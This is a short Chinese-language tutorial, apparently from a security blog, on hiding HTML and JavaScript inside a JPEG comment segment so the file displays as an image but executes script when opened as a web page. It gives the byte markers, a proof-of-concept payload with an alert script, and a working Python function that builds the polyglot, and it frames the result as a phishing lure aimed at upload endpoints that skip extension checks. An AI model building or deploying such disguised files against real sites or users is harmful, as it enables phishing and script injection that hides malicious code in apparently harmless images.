基础概念
0xFFD8:jpeg文件开始标志;
0xFFFE:jpeg文件注释开始标志;
0x0166:注释后紧跟的16进制数值,被选中部分长度为358字节,换算为16进制为166;
0xFFE0:标志图片内容开始。
(图为winhex)
payload:
<html>
<body>
<style>body { visibility: hidden; } .n { visibility: visible; position: absolute; padding: 0 1ex 0 1ex; margin: 0; top: 0; left: 0; } h1 { margin-top: 0.4ex; margin-bottom: 0.8ex; }</style>
<script>alert(/1/)</script>
<div class=n><h1><i>This image is a page.</i></h1>Just open it in new tab.
<p><img src="#" style="border: 1px solid crimson"><!--
可以看到
标签和注释符没有进行闭合,所以在解释为html时会将乱码自动闭合,但jpeg图片正常解析:
制作
def embed_html_in_jpeg(jpeg_file, html_str, html_file):
length = len(html_str) + 2
if length > 256 * 256 - 1:
return False
content = b''
with open(jpeg_file, 'rb') as reader, open(html_file, 'wb') as writer:
content = reader.read(2)
writer.write(content)
header = b'\xff\xfe' + bytes.fromhex(format(length, '04X'))
print(header)
content = header + html_str.encode()
writer.write(content)
while True:
content = reader.read(8192)
if not content:
break
writer.write(content)
return True
html = '<html><body><style>body { visibility: hidden; } .n { visibility: visible; position: absolute; padding: 0 1ex 0 1ex; margin: 0; top: 0; left: 0; } h1 { margin-top: 0.4ex; margin-bottom: 0.8ex; }</style><script>alert(/1/)</script><div class=n><h1><i>This image is a page.</i></h1>Just open it in new tab.<p><img src="#" style="border: 1px solid crimson"><!--'
embed_html_in_jpeg('1.jpeg', html, 'output.html')
效果
钓鱼页面核心,点击图片跳转到源网页:
诱骗用户点击后,恶意代码执行:
打击面及优势
对未校验后缀名的图片上传接口打击较大,优势在于比未做伪装的html恶意代码更易隐藏,因为<img>标签指向它的时候会正常显示图片。